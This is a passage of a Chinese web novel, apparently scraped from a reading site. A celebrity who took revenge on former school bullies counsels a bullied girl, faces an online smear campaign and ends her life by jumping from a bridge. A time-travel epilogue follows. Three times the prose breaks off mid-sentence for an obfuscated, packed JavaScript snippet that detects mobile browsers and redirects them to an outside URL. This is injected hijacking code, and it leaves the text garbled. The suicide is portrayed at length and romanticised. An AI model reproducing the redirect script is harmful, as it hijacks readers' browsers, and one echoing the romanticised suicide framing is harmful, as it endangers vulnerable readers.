容清洛知道周佑雨现在是情绪极度崩溃的状态，所以说话才会有些前言不搭后语、颠三倒四，甚至因为过度防备而出现了攻击性。 她真的能理解周佑雨现在的心情。 容清洛轻柔地拍了拍少女的后背，将少女抱在怀里：“佑雨，没事的，没事的，我也很讨厌这个世界，讨厌这些人类。” “我们一起讨厌这个世界吧。” 周佑雨从容清洛温暖的怀里抬起头，声音带着哽咽：“你说的是真的吗？” “你不会觉得我这样想很黑暗吗？” “而且你可是大明星，你有那么多粉丝的喜爱，我也很喜欢你，我以为你一定是这个世界上最厉害最幸福的人，你也会讨厌这个世界吗？” 小姑娘对偶像的喜欢很纯粹，疑惑也很纯粹。 容清洛露出一抹淡淡的笑意，为少女擦掉眼泪。 她站起来，也将周佑雨从河滩上拉起来：“你这么喜欢我，我怎好叫你失望呢？” 容清洛凝视着小清河奔流的碧色河水，问道：“想跳吗？” 周佑雨微愣：“什么？” 容清洛：“我想跳很久了。” 她伸出手，递到周佑雨面前。 周佑雨没懂，但出于对容清洛的信任，仍然把手放在容清洛掌心。 清洛姐姐的手纤细柔软，却很有力量。 容清洛：“会游泳吗？” 周佑雨：“不会。” 容清洛：“别怕，有我在，我带你尝试一下。” 容清洛拉着周佑雨的手，猛地跳入滚滚的江水中。 前几年，容清洛在假期悄悄回过一次南庐市一中。 她戴着口罩，出示当年的学生证，只说是毕业后回校想来看看，门卫让她进去了。 容清洛再一次来到当初那个差点将她淹死的人工湖，她那时刚刚学会游泳，她想要治一治自己的心魔，所以她重新跳进了那个人工湖。 她在湖水中挣扎一番，努力地克服着自己心底的恐惧。 最终她发现自己其实可以在湖中站立，湖水恰好淹至她的脖子。 原来那个人工湖并不深。 那一个刹那，福至心灵，容清洛泡在水里，突然无声地大笑起来。 也许所有她以为将会压倒她的一切，都如同这一池曾经差点淹死她的湖水一般，只到她的脖子而已。 只要没有淹到鼻子，只要没能把她淹死，她就能转危为安，反败为胜。 因为有过这样的一次经历，所以容清洛想带着周佑雨感受一下。 她在水中托举着周佑雨，见周佑雨从恐惧挣扎变成享受在夏日阳光下的清凉水域，之后才把周佑雨又带回岸上。 两人躺在河滩上大片的鹅卵石上，仰望着略微有些刺眼的太阳，心里却都很畅快。 容清洛：“爽吗？” 周佑雨点头：“爽！感觉心情都变好了不少。” 容清洛坐起来，捏了一下少女的鼻子：“小鬼，既然体验了一把被水淹没的滋味，今天你的KPI已经完成了，就别再往河里跳了哈。” 周佑雨也从河滩上坐起来。 她抱着膝盖，迷茫道：“可是感觉我的问题都还没有得到答案，我依然不知道应该如何面对，如何解决。死亡多好，一了百了。” 忽地，周佑雨的眸中闪过一丝狠意，她道：“若是我不死，那我就要让她们死。” 容清洛捡起身旁一块很漂亮的鹅卵石，塞进周佑雨的手心。 她缓缓道：“你所经历过的一切，我也都经历过。” “有些话埋藏在心里许多年，无人诉说，今日你我有缘，我看见你，就像看见当年的我自己。” “我送你一块鹅卵石，你听我一个故事，如何？” “如果你执意想跳下去，或者想要以眼还眼、以牙还牙，可否在长眠之前听听我的这个故事，这个故事我从未给其他人讲过，你可能是唯一的一个听众，想听吗？” 周佑雨点头：“想听。” 容清洛：“但是要帮姐姐保密哦，能做到吗？” 周佑雨：“当然能。” “该从哪里讲起呢……” 于是在这个夏日的午后，在河边凉爽的清风中，容清洛同少女讲起这些年她的经历。 当然其中涉及到晏行铮的部分，因为要保密，容清洛都略过了。 最后她道：“你看看我，大明星，风光吗？得意吗？万人追捧吗？我今天的每一点风光，背后都是我当年吞进去的血泪，不足为外人道。今天和你分享这个故事，是因为我看见你，总觉得似曾相识，所以很想劝一劝你。” “也想劝一劝，当年的我自己。” “其实我当年也满腔愤恨，那恨意绝不比你少。” “我恨这些自以为是、愚蠢无知的人毁了我的生活，毁了我的梦想，毁了我的未来。” “我的一切都被毁了。” “可她们却依旧能够享受生活的美好，就好像一切都没有发生过。” “凭什么？” “这么多年，我很少回忆。因为每次回忆对我而言，都是再次的伤害。” “甚至直到如今，我一回忆起那些作恶的人，我的怒火依旧会熊熊燃烧，我会气得发抖，胸中的恨意久久无法消解。” “每次回忆起那些，对我都如同上刑一般痛苦。” “佑雨，由此你便可以想象，我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16587004|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那时心中的恨意有多深。可是，我也只能压下来。现在不是乱世，不是在古代。在太平盛世，在现代的法治社会中，以暴制暴和以犯罪来治犯罪的这种行为，毁掉的首先是你自己。用这种方式报仇是最不划算、最不值得的。” “所以你一定要控制住你自己。” “控制情绪只是最基本的。” “但是这样你依旧会很痛苦。” “因此，你还要学会放下。” “佑雨，要知道，其实你已经很幸福了。你看你姐姐周佑谷费那么大劲儿，就是为了给你抱不平，你的家人就是你最坚实的后盾。” “我是孤儿，我没有家人，所以当初的一切都是我自己一个人扛过来的。我只能一个人去面对。” “但是佑雨，你跟我不一样，你身后是有家人为你撑腰的。” “你有退路，你有更多的选择，你没必要陷进仇恨和复仇里，毁了后面人生更长的路。” “你才十五岁，你的人生还没有真正开始。” “也许等你以后走出校园，属于你的时代才真正来临。” “而在这之前，你要做的，不是为了一时的义愤和愤怒而去赔上自己的未来，或者干脆放弃性命，这些对你而言都是很可惜的选择。” “你要明白，没有任何除了你自己之外的人，没有任何过去和现在的伤害，值得你赔上未来或者性命。” “带着仇恨生活，真得太绝望了，即便复仇成功，生命也已经千疮百孔，你失去的永远夺不回来。” “所以佑雨，我由衷地希望你不要被仇恨所侵蚀。” “你和我不同。” “你是真的有回头的机会的。” 周佑雨：“那……他人对你的伤害，无论是精神的还是身体的，真的终究都会过去吗？” 容清洛摇头，她的声音里藏着一丝悲哀：“不会。” “但你要尝试着会。” “这一课我教不了你，因为我也做得不好。” “不过，你的起点本就比我高许多，我相信你能做得比我好。” 周佑雨：“可是姐姐你现在不是过得也很好吗？” “你并没有被那些事情所影响。” “姐姐你真的很厉害，我更崇拜你了。” 容清洛摸摸小姑娘乖乖的脑袋：“我没什么好崇拜的，你应该去崇拜那些真正为社会做出贡献的人，而不是我这样千疮百孔的人。” “复仇其实会给人带来很多创伤。” “你现在看我坐在这里，和健康的人没有两样。” “但其实，我只是行尸走肉。” “只不过，在复仇成功之前，我比这还不如。” “那时，我只是在沟渠里游荡的恶鬼。” “这几年，也不过是恶鬼侥幸回到人间，披着人皮，苟延残喘，苟活几年罢了。” “我也不知道，我还能撑到什么时候。” 容清洛说最后一句时，声音很轻，只是在唇齿间呢喃，是以周佑雨听得不是清楚。 而前面的那些话，周佑雨虽听清楚了，但因为年纪小，到底还是有些难以理解其中深意。 容清洛看着周佑雨略显迷茫的神色，她抓住少女的肩膀，一字一句道：“佑雨，你一定要放下。” “放下才是及时止损。” “这是我用半辈子得来的教训。” “血与泪的教训。” 周佑雨被容清洛眼里的光震慑住，一时不知道如何开口：“姐姐……” 容清洛拉着周佑雨走到河边，对着夕阳余晖下浮光跃金的水面大声道：“来，跟着我喊。” 周佑雨：“姐姐，我们要喊什么？” 容清洛：“你们这些人算哪根葱！” “你们凭什么要影响我的生活！” “都给我滚出我的生活，滚出我的命运，滚出我的精神世界！” “一群垃圾污染了自己的人生之后还想要来污染我的人生，没门！” “都给我滚出我的世界，别再来烦我！” “你们算哪根葱，凭什么让我生气，有什么资格和资本让我生气！” “垃圾一样的人只配被当成垃圾一样被扫出我的世界，根本不配我动一点情绪，不配让我伤心愤怒，不配让我因为愤怒而伤害自己的身体、伤害自己的性命！” “都给我滚，滚出我的世界！” 容清洛每喊一句，周佑雨就跟着喊一句。 一开始周佑雨还有一些难为情，张口结结巴巴，声音也很小。 说了一两句之后，慢慢地她也放开了，音量一点一点地增大，最后声音和容清洛一样大。 阔大的江面上回荡着两个人的呼喊。 最后她们相互看着，都笑了。 163. 天容海色 周佑雨终于想通了，大家都很高兴。 之后，对潘家人的调查开启，此事便不再是容清洛能参与的。 她继续在正宁中学拍摄综艺《青衿与长衫》。 不过她听闻，张世副校长牵涉其中，被降职调查。 总算没有牵连到程景逸，容清洛颇感欣慰。 容清洛趁着不需要她拍摄的间隙时间，抽空去了一趟三年前去过的清静山清静观。 清静观就在青山镇附近，那天是程景逸开车陪着她一起去的。 容清洛去那里，是想为晏行铮做法事，超度亡灵。 整个过程，程景逸一直在旁边默默陪伴。 二人下山时，程景逸忽地道：“清洛，虽然我不懂现在的你，但我真的很努力地想要懂你。” “不论什么时候，你都要记住，我一直都在。” “我对你的承诺，也一直在。” 容清洛：“什么承诺？” 程景逸：“娶你。” 山间蜿蜒的青石板台阶上，容清洛停下脚步。 她看向程景逸，认真道：“从年少起，我就已经明白，每个人都只会活在自己的生命轨迹中，没有人可以真正地体会你的心情，设身处地，为你着想。” “我活到如今三十岁，经历了许多人一辈子都不曾体验过的大灾大难，我是真的死过无数回的人。” “程景逸，直到今日，我依然敬重你，欣赏你，感念你。” “我年少时也对你动过心。” “但是程景逸，我们回不去了。” “成年以后我们所经历的是两种完全不一样的人生。” “我们二人面对世界的方式在本质上是有很大的差别的。” “你成长的环境太好了，你是一个理想主义的人。” “也许你还是当年的你，但我早就不是当年的我了。” “在我身上，有很多你没看见的阴暗面，你不会喜欢的。” “我们在一起，不会长久。” “这条路，我们分开得太早，无法同行，只好遥望着。“ “我觉得保持朋友和知己的关系就很好。如果再进一步，你有可能会厌恶我。” “我很珍惜你，不愿意接受将来你对我的厌恶。” “你是永远活在光明里的人。而我，已经习惯在黑夜里潜行。” “对我而言，你就如同太阳一般，是最温暖的存在。” “可太阳火焰的纯粹度与温度都太高，靠近会被灼伤。” “我更喜欢月亮。” “月光没有温度，甚至有些清冷和寡淡，但是却能带来暗夜里的光明和指引，照亮漆黑夜幕中的前路，让行者安心，消除迷惘。” “如今，你依旧是我最欣赏、最向往、最想要成为的人。” “但对我而言，太阳是拯救者，月亮才是同路人。” “你能明白我的意思吗？” 程景逸若有所思：“你今天在清静观里请道长超度的，是在晦暗不明的黎明之前，曾与你同行的那轮明月吗？” 容清洛点头：“是。虽然他不在了，但在黑暗炼狱里曾经相伴相守的岁月，足以我一生回望。” “好吧，此事先不谈了。”程景逸目光温柔，“不过你还记得我送你的那首歌里面，有两句话吗？” “愿卿磊磊沧浪行，万里乘风且逍遥。” “不管如何，我都由衷地期盼着，往后余生，你能逍遥自在，不要再被往事裹挟，不要再自造牢笼，困束自己。” “你要将这牢笼击碎，将这枷锁拆除。” 这一刻，不知为何，容清洛感觉程景逸在她面前像是娘家人一般。 很亲近，很可靠，很信任，很安心。 她看着程景逸半晌，突然道：“程景逸，我没有亲人，我认你当哥哥行不行？” “这样的话，我在这个世上，也算是有归属了。” “以后万一哪天我不在了，逢年过节，也有人惦记我，给我烧纸钱。” 程景逸闻言立马道：“怎么说这么不吉利的话，你可是大明星，前途一片光明，定然会长命百岁的。” “而且谁要给你当哥哥，你又不姓程。” *** 此时，程景逸在清静山上干脆利落地拒绝认容清洛为妹妹。 他不知道，以后，他会为这个选择后悔终生。 对程景逸而言，无论是容清洛还是季希，她都只是她，是他永远放在心上的那个姑娘。 年少时喜欢的人，是她。 在青年时耿耿于怀，一直苦苦寻找的年少白月光，也是她。 在暮年时不断追忆，仍然会为之相思、为之悲戚、为之流泪的，还是她。 为了她，他确定了一辈子要走的路，替她完成了年少时的梦想。 而这个令他刻骨铭心了一生一世的姑娘，香消玉殒在一朵花最美丽的时刻。 *** 容清洛听到程景逸的回答，低头转身，一个人径自下着台阶，掩饰心里的失落，用玩笑的语气说道：“算了，无亲无故，六亲缘浅，正适合出家。” 只有她心里知晓，她是真的想出家。 而在这之前，也想尝试着最后抓住一些世上能留住她的锚点。 *** 周家父女的公道被讨回，潘家受到惩罚。 程景逸如今扎根青山镇，还从孔厂长手里将祥云茶厂收购下来，准备在青山镇大力发展文化产业，以此带动城镇经济。 他当初的那个学生裴万川如今刚好毕业，选择回来当村官，投身于乡村振兴，发展家乡。 容清洛看到，一切都在向好的方向发展。 只有她，又一次被人拽回深渊。 世事当真难料。 甄安然与寇依宁当初之所以愿意说实话指认林晶，就是为了摆脱林裕为护住林晶而颠倒黑白安在她们头上的杀人罪名。 但她俩即便不是杀人犯，也是从犯，跟着林晶干了不少校园霸凌的事情，所以还是坐了几年牢。 如今时隔几年，她们刑满释放。 甄安然和寇依宁在狱中和林晶见过面，已经从林晶口中得知，无限风光的顶流容清洛就是当年被她们欺负的季希。 出狱以后，二人当然心中有落差和不满，在网上爆料，说容清洛整容，说容清洛是昔日林氏集团总裁林裕的情人，说容清洛是破坏别人家庭的小三。 对容清洛而言，今年当真是多事之秋。 她就是因为小号曝光被质疑诈捐，为了澄清事实真相，才会让程景逸知道连续三年给正宁中学捐款的好心人是她。 容清洛现在还在正宁中学拍着综艺呢，网上关于她的各种谣言便再一次甚嚣尘上。 一波未平，一波又起，容清洛一时深陷舆论当中。 关于此事的讨论甚至愈演愈烈，有形成网暴之势。 世人常常是爱之欲其生，恶之欲其死。 看着网上那些原本对她无限喜爱的粉丝们纷纷倒戈，对她口诛笔伐，容清洛蓦然想起潘源被抓之前的话语。 一语成谶。 「你这女人，如此狠毒，满口算计，要是让你的粉丝们知道你究竟是什么样的人，看你到时候如何自处！」 她是怎么回答的呢？ 当时她说—— 「粉丝的喜欢本来就是得之我幸、失之我命。」 「若有人因此离我而去，我只能接受，都是命罢了。」 果然因果不虚啊。 容清洛走在复仇路上多年，她唯一心中有所愧疚和亏欠的，就是林裕的妻子吴小姐，以及所有喜爱她、支持她的粉丝。 虽然林家和吴家覆灭都是罪有应得。 但吴小姐有精神问题，她确实是无辜的。 所以容清洛在吴家倾倒之后，匿名为吴小姐联系了宁川市最好的疗养院，让她不会因为失去吴家庇护而流离失所，这是她唯一能做的。 其实，大仇得报以后，晏行铮消失，容清洛早就觉得人生了无意义。 人生的灾难只是猝然降临，灾难结束后，对人精神崩溃的重建，比复仇更加艰难。 容清洛身上虽然没有伤疤，但是她外在的美丽皮囊不是她自己的，而她的内心深处，也只是一片崩塌的废墟。 那时她常常会想，她把人生活成如今这一团乱麻，也许只是因为，她的生命本身就是一滩烂泥。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16587005|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她也许只配活在这黑暗里。 当时真的是粉丝的支持让她发现，原来自己也可以走进光明里。 她已经竭力在自救。 但是太艰难了。 最初她会进入娱乐圈，本身就是一个意外，她一直以来倾尽全力去做的事情，只有复仇。 于她而言，她并不在意自己红不红。 但是出乎意料地，竟然有很多粉丝这么喜欢她。 原本她想退圈之后找个地方结束生命的，但是退圈的声明编辑许久，最终却没有发出去。 她当时想到的是，她如果这么做了，会不会让许多长久以来支持她的人大失所望，后悔青春错付。 她不希望她的洛河们以后被人提起来时，只能被称为——那个懦弱的、自杀的、可怜的明星的粉丝。 她也想为粉丝做些事情，给予粉丝力量，让粉丝觉得粉上她是一件值得骄傲与自豪的事情。 正是有了粉丝这股力量对她的期待，她突然也很想在这个圈子里坚持下去，这才会开始转型，想要成为演员，想要变得更好，想要为粉丝完成更多，想要让粉丝们知道自己没有粉错人。 甚至因为她觉得粉丝其实喜欢的也只是她的脸，所以她除了拍戏，并没有放弃往音乐制作人这方面转型，毕竟才华和歌声才是自始至终她自己所拥有的。 如今，她三十岁了。 多年以前，容清洛蛰伏在林氏集团那栋大楼里，为了前途渺茫的复仇之路默默努力。 多年以后的今天，容清洛大仇得报，成为顶流，林氏集团的那栋大楼早就被她收购，贴满她的海报。 如果不是因为粉丝，她不会选择在复仇成功以后继续活下去。 然而她忘记了一条自古以来颠扑不破的真理。 水可载舟，亦能覆舟。 粉丝能让她生。 到头来，也是粉丝予以她致命一击。 不过，容清洛没有什么好怨恨的。 因果不虚，报应不爽罢了。 她承受她应该承受的，这是她的宿命。 容清洛坐在房间里，看着屏幕中一条条谩骂声讨快速刷过。 她冷下脸，嘴角带着讽笑，眼里透着妖冶疯狂的光。 曾在黑暗里十年，没有人不疯。 不疯的人，不过是装得好。 而今金盆洗手四年，她戴着面具，装得像个人，但她知道，她就是一只披着人皮的鬼。 从深渊爬出以后，恶鬼还能重新变成人吗？ 不能吧。 恶鬼只能披着人皮，在人间享受这贪恋多年、渴求许久的温暖。 这几年，是她苟活的、偷来的几年。 终于，老天要收走这段时光，将她打回原形。 在容清洛的潜意识里，她为了复仇所做的这些事情，其实都不能称得上是善良和道德的，但这些却是她必须要完成的事情。 所以她的自我评价很低。 所以她会告诫程景逸，她不是一个好人。 本来就是粉丝多留了她几年。 粉丝将她送上高位，也将她拉下神坛。 如今粉丝不需要她了，她也没必要再继续为了粉丝而留下这条命。 人生太多艰，她不想继续了。 这人间不值得留恋。 她与世界的最后一个锚点，就此脱锚。 容清洛失去继续活下去的愿望。 但她不想带着污名离开人世。 有很多人冲到《青衿与长衫》导演邱锐的账号下质疑他为何还让容清洛继续拍摄综艺，容清洛不想给邱导添麻烦，主动请辞，退出了拍摄。 离开青山镇以后，容清洛把自己所有的钱都交给贺溪君，请她代为设立教育基金，成立校园霸凌援助会，帮助那些在人生艰难的时刻需要救助的孩子。 做完这一切，容清洛前往宁川市。 时隔四年，再一次站在九川江边，戴着口罩的容清洛想起当年晏行铮的话—— “九川江会保佑你。” 日落月升，容清洛在江畔拿出手机，登录社交平台，通过自己的社交账号发布一则在飞机上编辑好的消息。 她要自证清白。 164. 吾本澄清 「给大家讲一个故事吧。 十五年前，在江省南庐市南山森林公园发生过一场山火。 这并不是天灾，而是林氏集团大小姐林晶为掩盖她将一位女同学推下山崖的罪行而做出的人祸。 当时和这位女同学一起被林晶校园霸凌的还有一个女生，这名女生因为被打得奄奄一息，无法逃出火场，在火中因大面积烧伤而毁容，但是她因好心人搭救，侥幸从火海里捡回一条命。 之后的十年里，这名女生改名字，换身份，就是为了向作恶者林晶复仇。 但是林晶有林氏庇佑，林氏一日不倒，林晶便不可能受到惩罚。 因此这名女生开始接近林氏集团的总裁林裕。 在这个过程中，她发现林氏集团存在大量地下黑色产业，机缘巧合下成为警方卧底的线人，并协助警方收集林氏的罪证。 四年前，林氏覆灭，她和她同学的大仇得报。 看到这里，也许你们已经知晓，这名女生就是我。 我是容清洛，曾经我还有一个名字，叫做季希。 高中时我因为校园霸凌而烧伤毁容，后进行整形修复手术，因此改变容貌，这一点，我承认。 但是如果当时我不做手术，难道就这样顶着一张毁容的脸活一辈子吗？ 我想活着。 有尊严地活着。 你们没有任何人有权力用这个理由指责我。 至于吴小姐，她最应该怨恨的，应该是她恶贯满盈的父兄与丈夫，而不是同为受害者的我。 我的人生就是被这些人毁掉的。 我可以因为隐瞒真相而被谴责，但绝不接受非正义的审判。 这么多年之所以执着于复仇，我最不甘心、最愤怒的，就是不能恢复的名誉，以及不公正的结果。 要如何，才能让作恶者因违背公义而受到惩罚。 要如何，才能让受害者因天理昭昭而恢复名誉。 如今，作恶者已经因为违背公义而受到惩罚。 受害者的名誉也已经恢复。 包括我的。 警方和法律没有判定我有罪，因为我也是受害者，并且我在给卧底当线人，在执行任务。 在你们看不见的角落，有那么多人在为了这个世界更美好而做出牺牲。 他们所守护的这个世界，并不美好，但是世界，本就是由那些有信仰的勇士们逐渐铸造美好的。 值得吗？ 不知道，飞蛾扑火想去做而已。 每只飞蛾都以为自己有通天之能，可以做到。 一只又一只，尸山血海堆积得多了，量变引起质变，终于创造奇迹。 这便是勇士。 而你们，只会自以为是地、自私地、高高在上地审判。 你们只会相信自己看到的。 可你们看见的，是你们自己，不是我。 请你们，不要带着成见的目光向我看来。 请你们，不要用你所仅见的一个瞬间，来判定我的一生、我的来路、我的归途。 我在，不断地超越着自我。 我在，不断地自我教育，挣扎着改变。 我在，努力地拉扯着我内心的冲突，安顿我的灵魂，铸造我的人格。 多年以后，我依旧是这句话，如同我在堕入黑暗之时，给自己起的名字一样——天容海色，吾本澄清。 我究竟如何，我究竟是什么样子，不由你们决定。 我的灵魂，只有我自己能够塑造。 我不会再给你们任何非正义地审判我的机会了。 自以为是、高高在上的人啊，你们没有这个权力。 大家如果是因为我的外貌才喜欢我，那对不起，现在这份喜欢我还给大家。 如果是因为我的音乐才华喜欢我，也对不起，这些才华背后全是血泪，我不想再这么痛苦地创作了。 从今天起，我，容清洛，退圈。 这么多年当艺人的所得，已经委派专人着手成立教育基金与校园霸凌援助会，会请专业的团队给各地遭受校园霸凌的未成年学生提供法律、医疗、心理咨询等方面力所能及的帮助。 诸位，我们都只不过是时代的尘埃罢了。 蜉蝣而已，不要对其他蜉蝣的或起或落太过在意，多点关注在自己身上吧。 虽然我当年是身不由己才走上这条路，但就客观事实而言，老天多少还算厚爱。 我是一个连高中都没能毕业的人，能走到今天，获得这样一份成就，受到这么多人喜爱，这不是因为我有多厉害，而是因为这个时代给了我这个机会。 时代对我还是青睐的，但即便没有我，人们也会创造出其他被捧上神坛的顶流巨星。 同样的，当年我能复仇成功，也不是因为我有多会谋划、多能运筹帷幄，完全是因为得道者多助、失道者寡助，国家要扫黑，林家就注定是失道者，有没有我，林家的结局都不会变。 我走的每一步其实都很险峻，如果有一步没走过去，就没有我的今天。 从遭受校园霸凌，到高中辍学。 从在山火中毁容，到进行整形修复，开始复仇。 赶上互联网和新媒体发展的风口，参加女团选秀，参加音综，获得流量。 从流量明星转型成音乐人和演员。 这每一步，都不是最初的我能预料到的，我可以说是在被命运推着前进。 虽然年少时因霸凌没能继续读书，但是时代的列车却给予了我获得今天这番成就的机会，我内心还是很感激所有曾经支持过我的每一个人。 虽然也受过许多苦，但是上天确实对我还有几分偏爱，总是给我绝处逢生的机会。 是个人命运与时代潮流的交织，造就了今天大家看到的容清洛。 所以究竟是我掌握了人生的风帆，还是社会发展的大势限定了我人生的航道？ 也许是互为因果，相辅相成吧。 这人生的每一步，不论好与坏，不论挣扎与苦痛，不论强大与弱小，不论正确与错误，正是这过去的一步一步才让我走到了今天的位置。 弱小也是我，强大也是我，彷徨也是我，痛苦也是我。 每个都是我。 但是在如今这个世界上，这世上的人，都不再需要我了。 看似是粉丝需要我，但其实是我需要粉丝。 看似是我为林家倒台出了一份力，实际上是我需要林家倒台来安放我没有出口的愤怒。 是我需要这个世界，而不是世界需要我。 世界不需要人类，是人类需要这个世界。 而既然需要者是我，随时被丢弃的也会是我。 现在，就是我被粉丝丢弃的时刻。 因粉丝而兴，因粉丝而亡。 这人世不堪活，确实没什么意思。 你们记住，是我不要这个世界了。 蝉一生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16587006|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只活七天。 人一世只活几个重要的时刻。 我曾在这个世界留下过声嘶力竭、却无人倾听的蝉鸣。 在无人的角落，短暂地存在于世间。 这就是一场—— 生命燃烧殆尽以后、用余烬谱写的浪漫。 兰烬零落，一切都该消散。 没有人能够给我的人格定性。 没有人能够决定我这一生所走的路。 这些，都只能由我自己决定。 任何人的污蔑都不能将我染黑。 我有我自己的颜色。 我人生的底色，永远由我自己书写与掌控。 无论天空如何浮云蔽日、海面如何狂涛骇浪，终有一天，一切都会消散。 青天的容貌，碧海的颜色，本来就是澄清明净的，不需要刻意去洗刷。 我不惧流言，不畏蜚语，更无所谓伤痛，因为我的底色，永不会因他人而改变。 任何人的攻击都不能撼动我的灵魂。 我将如茫茫原野上一座巍峨的青山，始终屹立。 磊磊沧浪石，熠熠寒夜灯，天容与海色，无埃本澄清。」 寂静的深夜，容清洛在九川江边发布这篇她的自白，之后便退出账号，关闭手机。 她其实也很厌恶自己。 起初，完成复仇是支撑她活下去的动力。 复仇成功后，为粉丝成为一名合格的偶像，是她的动力。 一时的风光遮住她满身满心的伤痕，但这一切表象，在此刻都被撕下，露出她伤痕累累、屈辱的前半生。 在人间，苟活着，实在是没有什么好留恋的。 在泥沼里挣扎半生，她满身脏污，只想干净地离开此间，离开这个看似美好、实则与地狱无异的鬼蜮。 容清洛在曾经她与晏行铮一起驻足过的地方停留许久。 阔大的水面似乎在召唤着她。 她看着盈盈碧波，自言自语道：“天容海色，吾本澄清，无论我经历了什么，我为了反抗做过什么，这个浊世始终没能污染我的灵魂。” “但你们只要我的皮囊，可我不愿意把这虚假的人设和皮囊留给你们。” “人类活在世上真的很糟糕。” “而我不想继续糟糕下去。” “所以干净地来，干净地走吧。” 终于，她下定决心。 容清洛开车前往九川江大桥。 车停在桥下，人轻飘飘地在桥上挪着步子。 容清洛在寻找离江心的月亮最近的位置。 而今，她终于要踏进十几年前就该降临的终局——灭亡。 灭亡之前，她找到快乐了吗？ 算是吧。 跌入过最深的黑暗，却也因此，在最痛苦绝望的时刻见到过最皎洁的月色，那是她这辈子最满含希望、也最快乐的时光。 如今，所有的愿望都已经实现，这个世界不需要她，她也并不留恋这个世界。 真巧，今天恰好也是一个十五月圆之夜。 江水东流，月华在水波中凝练，涌向天际。 既然这浊世不堪活，她想去追随江心那轮最美的明月。 寂静而渺无人烟的夜晚，容清洛翻越桥上栏杆，纵身跃入水中。 波涛翻涌，转眼，一切归于平静。 // 『天容海色，吾本澄清。』 ——【正文完】—— 165. 贺溪君番外 「千千万万种可能里，我只有一个愿望，那就是，我想让你活下去。」 「在每一个时间节点，我的每一次选择，都只为，不再看见你永远阖上的眼睛。」 「——贺溪君」 // 贺溪君是一名计算机系的女大学生。 她最近在玩一款互动类的卧底游戏，名字叫《潜伏在黎明之前》。 主角周衡立是一名卧底警察，他化名为晏行铮，潜伏在黑恶势力身边。 既然晏行铮是主角，整个游戏的主线当然围绕着他的卧底生涯展开。 而在晏行铮的卧底生涯中，有一位神秘的女角色在玩家中拥有着很高的人气。 她是晏行铮潜伏对象身边的情人，同时也是一位大明星。 她的名字叫容清洛。 容清洛作为一款卧底游戏里的配角NPC，其实出场不算多。 但她每次出现的时间节点都很关键。 这枝危险而又迷人的红玫瑰，只要晏行铮选择信任她，她便会帮助晏行铮摆脱敌人怀疑，助力晏行铮顺利完成上级布置的任务。 两人一起渡过许多难关，共历险境，共担生死。 也因此诞生了许多让人铭记这个角色的名场面。 然而这个角色之所以人气如此之高，更重要的原因在于—— 玩家的不同选择会导致主角晏行铮和容清洛有很多结局。 其中晏行铮有活有死。 但是每一次，容清洛最终都没能活下来。 *** 贺溪君虽然只是一个大学生，但是她的电脑技术非常好。 容清洛这个角色简直就是她的意难平。 为此，她侵入《潜伏在黎明之前》这款游戏的官方数据库，想要改变容清洛的结局。 然而正是因为这个举动，她竟然意外穿越进游戏中，并且成为这款游戏中并未出现过的人物。 在游戏世界里，她叫季画，是一个才六岁的小女孩儿。 她是一名孤儿，生活在南庐市儿童福利院。 贺溪君之所以能发现自己穿越的是《潜伏在黎明之前》这款游戏，便是因为南庐市这个地名在现实中并不存在。 她玩过游戏，知道这是游戏主角晏行铮曾经潜伏过两年的城市。 但是贺溪君完全不知道自己为何会出现在和主角晏行铮完全无关的儿童福利院。 她也并未在福利院里发现任何孩子的名字叫周衡立或者晏行铮。 无法回到现实世界，贺溪君只好就在这个游戏世界里安顿下来。 这个福利院每年有来自当地大企业的捐款，所以住宿条件还算不错，贺溪君和另外一个比她小一岁的小姑娘住在一个房间。 这个小姑娘的名字是季希。 季希有点社恐，非常内向。 而贺溪君拥有一个大学生的灵魂，在面对这么小的小妹妹时，就显得十分社牛。 与季希相处久了，贺溪君发现，季希其实是一个非常可爱的小姑娘，本性也十分善良淳朴。 贺溪君很喜欢季希。 她在福利院待了一年多，之后被一户人家领养，后来跟着这户人家到了邻市齐城。 这户人家刚好姓贺，她便顺势将季画这个名字改成了贺溪君。 由于《潜伏在黎明之前》这款游戏里只描述了有关晏行铮当卧底的故事，所以容清洛出现在游戏中时，并没有关于她童年和少年时期的描述。 因此，贺溪君并不知道那个在福利院时和她同屋的小姑娘——季希，就是未来她心心念念想要救活的容清洛。 直到多年以后贺溪君读大学的时候，她想要帮助容清洛，因此特意报名了容清洛参加的那一届女团选秀综艺《偶像制造》。 她穿越的这具身体有张非常漂亮的脸蛋。 所以贺溪君顺利地被导演组选进节目。 在节目中，容清洛认出了她。 当贺溪君震惊于容清洛为何会认识自己时，容清洛告诉贺溪君，她是季希。 但当贺溪君问她为何会和小时候的季希长得完全不一样时，容清洛只说是长开了。 